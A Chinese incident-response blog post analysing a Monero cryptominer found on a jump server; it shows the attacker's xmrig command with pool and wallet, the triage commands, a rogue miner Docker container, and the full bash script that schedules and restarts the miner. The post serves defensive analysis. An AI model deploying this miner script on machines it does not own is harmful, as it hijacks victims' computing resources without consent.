原创作者:逸尘
故事的起因于26号下午做渗透测试时,登录跳板机发现CPU进程拉满到200%,qiao哥看了一眼直接说是XMR挖矿,这句话勾引起我的兴趣,由于应急是我的薄弱项也没有时间深入学习,所以有本篇应急分析文章。
市面上存在很多关于XMR门罗币挖矿的教程,这些教程可能会被攻击者恶意利用来进行盈利。他们通过前期使用非法手段获取服务器的控制权限,并在服务器上部署XMR门罗币挖矿木马脚本。一旦攻击者成功部署了挖矿木马脚本,会通过设置SSH公钥后门登录和计划任务启动项等方式,维持对服务器的控制权限,并利用自启动脚本进行挖矿持续从中获利。
下面是应急排查分析。
首先留图一张,简单了解一下XMR门罗币挖矿木马
1.如图下可以看到,CPU进程直线拉满,CPU已经占满200%,用top命令查看,CPU状态显示xmrig,这里最明显的特征就是xmrig命令,这也是qiao哥为什么一眼看出是XMR挖矿木马的原因!!!,在此次排查中一系列常规排查思路不一一展现,只突出重点步骤。
2.使用ps -aux | grep xmrig 查看进程运行命令,可以看到xmrig的执行命令
./xmrig --coin=monero -o pool.supportxmr.com:3333 -u 89zqe5wQCDsML1xyYx7GxqDqR3DAizK6cXRsd7rXLLmyRCHaTFe6cDJA
xmrig命令如下
-o 矿池地址:端口号 地址(pool.supportxmr.com:3333)
-u 钱包地址 攻击者的获利钱包地址 (89zqe5wQCDsML1xyYx7GxqDqR3DAizK6cXRsd7rXLLmyRCHaTFe6cDJA)
3.使用 ls -l /proc/643961/exe 命令,根据进程PID查看可执行程序
4.使用lsof -p 643961根据PID查看进程所占用的文件
5.我们先尝试执行杀掉进程 kill -9 643961,发现进程在掉线后,依旧存活,疑似存在定时计划任务。
6.排查定时计划任务并未发现什么,最后经过一些列排查发现docker容器内排查出问题,发现多了个容器
pmietlicki/monero-miner容器是一个用于挖掘Monero(一种加密货币)的Docker容器,其中包含了用于挖矿Monero的软件和配置文件。通过运行该容器,可以快速启动Monero挖矿进程进行挖矿。
7.使用docker stop 停止该容器,后再使用top命令发现,cpu速率已回归正常
在使用docker命令查找到镜像删除即可,由于我通过命令“find / -name xmrig 查找删除xmrig部分容器样本,会出现一下报错,并不影响后续,挖矿应急初步排查阶段到此为止
通过命令“find / -name xmrig “全局搜索这个恶意样本存储在哪个目录,最后在目录下发现了它
如下图所示,浏览整个目录,发现都是恶意样本相关的文件,于是将其打包下载到本地进行分析
#!/bin/bash
algoMode=$1
poolUrl=$2
poolUser=$3
poolPW=$4
maxCpu=$5
useScheduler=$6 # true / false
startTime=$7 #e.g. 1530 or 1100 for time
stopTime=$8 #e.g. 1530 or 1100 for time
days=$9 #e.g. "Tuesday,Friday"
options=${10}
miner="./xmrig"
if [ "$maxCpu" != "100" ] && [ "$maxCpu" != "50" ] && [ "$maxCpu" != "25" ] && [ "$maxCpu" != "12.5" ] && [ "$maxCpu" != "6.25" ] ; then
echo "maxCpu is not valid"; exit;
fi;
if [ "$useScheduler" != "true" ] && [ "$useScheduler" != "false" ]; then
echo "useScheduler is not valid, use true or false"; exit;
fi;
if ! [[ ${poolUrl} =~ .+\.[a-z]+\:[0-9]+ ]]; then
echo "The URL Format seams not right."; exit;
fi;
if [ "$useScheduler" == "true" ]; then
if [ ${#startTime} -ne 4 ]; then
echo "startTime is not in a valid format"; exit;
fi;
if [[ ${startTime} =~ [A-Za-z_\;\:\.]+ ]]; then
echo "startTime can only contain digits"; exit;
fi;
if [ ${#stopTime} -ne 4 ]; then
echo "stopTime is not in a valid fromat"; exit;
fi;
if [[ ${stopTime} =~ [A-Za-z_\;\:\.]+ ]]; then
echo "stoptimeTime can only contain digits"; exit;
fi;
IFS=',' read -r -a dayArray <<< "$days"
for day in "${dayArray[@]}"
do
if [ "${day,,}" != "monday" ] && [ "${day,,}" != "tuesday" ] && [ "${day,,}" != "wednesday" ] && [ "${day,,}" != "thursday" ] && [ "${day,,}" != "friday" ] && [ "${day,,}" != "saturday" ] && [ "${day,,}" != "sunday" ]; then
echo "Days are not formated correctley."; exit;
fi;
done
# wait for starttime
echo "================================================================";
echo "Cryptonote mining container based on xmrig";
echo "with task scheduling mod by MasterRoshi";
echo "";
echo "Scheduler information";
echo "At: $startTime - $stopTime GMT+0";
echo "On: $days";
echo "================================================================";
echo "Waiting for the next work schedule....";
while { printf -v current_day '%(%A)T' -1 && [[ ${days,,} != *"${current_day,,}"* ]]; } || { printf -v current_time '%(%H%M)T' -1 && [[ ${current_time} != ${startTime} ]]; }; do
sleep 10;
done;
echo "Time to work, miner is signing-on!";
# run xmrig as background
$miner --coin="$algoMode" -o "$poolUrl" -u "$poolUser" -p "$poolPW" --max-cpu-usage="$maxCpu" "${options:---donate-level=3 -k}" &
while printf -v current_time '%(%H%M)T' -1 && [[ $current_time != $stopTime ]]; do
sleep 10;
done;
# end the xmring when the stoptime is reached
pkill xmrig;
echo "Miner signing-off and preparing for the next work schedule!";
"$0" "$algoMode" "$poolUrl" "$poolUser" "$poolPW" "$maxCpu" "$useScheduler" "$startTime" "$stopTime" "$days" "${options:---donate-level=3 -k}";
exit;
else
$miner --coin="$algoMode" -o "$poolUrl" -u "$poolUser" -p "$poolPW" --max-cpu-usage="$maxCpu" "${options:---donate-level=3 -k}";
fi;
以上经过分析得知,这个是基于xmrig的加密货币挖矿脚本,可以在Linux系统上运行。以下是它的一些参数:
如果useScheduler被设置为true,脚本将等到指定的开始时间和日期然后启动xmrig并在指定的停止时间停止。
如果useScheduler被设置为false,脚本将直接启动xmrig并运行
XMR挖矿木马是指恶意软件,它利用受感染的计算机的计算资源来挖掘Monero(XMR)加密货币,而不经过用户的明确许可。以下是修复和防御XMR挖矿木马的一些常见手段:
请注意,这些措施可以提高系统的安全性,但没有绝对的安全保障。因此,持续的安全意识和定期的安全审查是至关重要的,以确保系统和数据的安全。